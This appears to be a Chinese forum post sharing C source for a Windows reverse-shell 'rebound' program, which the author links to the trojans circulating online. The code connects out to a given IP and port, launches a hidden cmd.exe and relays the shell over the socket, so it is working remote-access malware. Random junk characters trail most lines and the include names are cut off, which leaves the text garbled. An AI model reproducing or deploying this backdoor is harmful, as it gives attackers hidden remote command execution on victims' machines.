这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ]f}#&]<(T
A8jj]J+
/* ============================== V/,@hv`+
Rebound port in Windows NT Nk
~"f5q7
By wind,2006/7 +3wVcL
===============================*/ 6jaol'{SuH
#include Uja`{uc
#include lKT<aYX
xsN)a!
#pragma comment(lib,"wsock32.lib") 9*b(\Z)N
yKb+bm&5:'
void OutputShell(); NpLO_-
SOCKET sClient; YEiQ`sYKG
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; H4Lvw8G
gq|]t<'
void main(int argc,char **argv) H="E#AC%8/
{ ?ypX``3#s7
WSADATA stWsaData; 93]67PL#+
int nRet; ]hHL[hoFC
SOCKADDR_IN stSaiClient,stSaiServer; }:zTz%_K
a?K 3/0G
if(argc != 3) ZOIx+%/Vd#
{ ^V;h>X|
printf("Useage:\n\rRebound DestIP DestPort\n"); b,r{wrLe)
return; XUK!1}
} 7}%Z>
fC<pCdsg
WSAStartup(MAKEWORD(2,2),&stWsaData); B K/_hNz
zMI_8lNz
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 9o<5Z=
</B<=tc
stSaiClient.sin_family = AF_INET; duT'$}2@>
stSaiClient.sin_port = htons(0); 0<4Nf]i
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); kS)azV
XcH_Y
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) + _"AF|
{ *rH#k?
printf("Bind Socket Failed!\n"); |9*8u>|RC
return; }\Ri:&?
} $AyE6j_1gX
b>]MZhLJe
stSaiServer.sin_family = AF_INET; X={Z5Xxr"
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); w;=g$Bn
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); *%p`Jk-U
JQ"R%g`8
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) g\~n5=-D
{ 8nKb
mjM
printf("Connect Error!"); lD41+x7
return; i+XHXpk
} ^Yg}>?0
OutputShell(); VlbS\Y.
} wRsh@I<
NG\g_^.M
void OutputShell() *MD\YFXR
{ fnZ?YzLI
char szBuff[1024]; 2Q81#i'Cm
SECURITY_ATTRIBUTES stSecurityAttributes; %}/ |/=
OSVERSIONINFO stOsversionInfo; tmVGJ+gz
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; #[B]\HO
STARTUPINFO stStartupInfo; zg+6<
.Sf
char *szShell; Yk @/+PE
PROCESS_INFORMATION stProcessInformation; :rzq[J^
unsigned long lBytesRead; 5'%nLW7;O
4mM?RGWv
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); S:YQVj
dHO8 bYBH
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); .sBwJZ
stSecurityAttributes.lpSecurityDescriptor = 0; W^8MsdM
stSecurityAttributes.bInheritHandle = TRUE; , SB5"
=,w(D~ps
bZf}m=C!
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); efUa[XO
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); {,Z-GJ
@{LD_>R
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); $z
\H*
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; )8@|+'q
stStartupInfo.wShowWindow = SW_HIDE; O+ghw1/
stStartupInfo.hStdInput = hReadPipe; f2.|[
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; .d;|iwl
/O{iL:`
GetVersionEx(&stOsversionInfo); kC8M2 |L
)1iqM]~;B
switch(stOsversionInfo.dwPlatformId) rjWn>M
{ IDn$w^"
case 1: +JlPQ~5
szShell = "command.com"; SDHJX8Hq
break; dW#T1mB
default: 5h7M3s
szShell = "cmd.exe"; ,We'AR3X
break; >p?Vv0*
} ^=@`U_(,G
\.K4tY+V
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); j[Z<|Da
[$e\?c
send(sClient,szMsg,77,0); )Rc
while(1) ~pWV[oUD
{ :N#8|;J1Fl
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ["N_t:9I
if(lBytesRead) {({Rb$
{ +rWcfXOHM
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); OYLg-S
send(sClient,szBuff,lBytesRead,0); g|=1U
} t`Lh(`
else 7N4)T'B
{ 5=hMTztf!!
lBytesRead=recv(sClient,szBuff,1024,0); n"g)hu^B
if(lBytesRead<=0) break; 3](At%ss
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); -I'Jm=q3]
} )l6(ss!J
} 1Rd2Xb
tYUg%2G
return; ./@C
}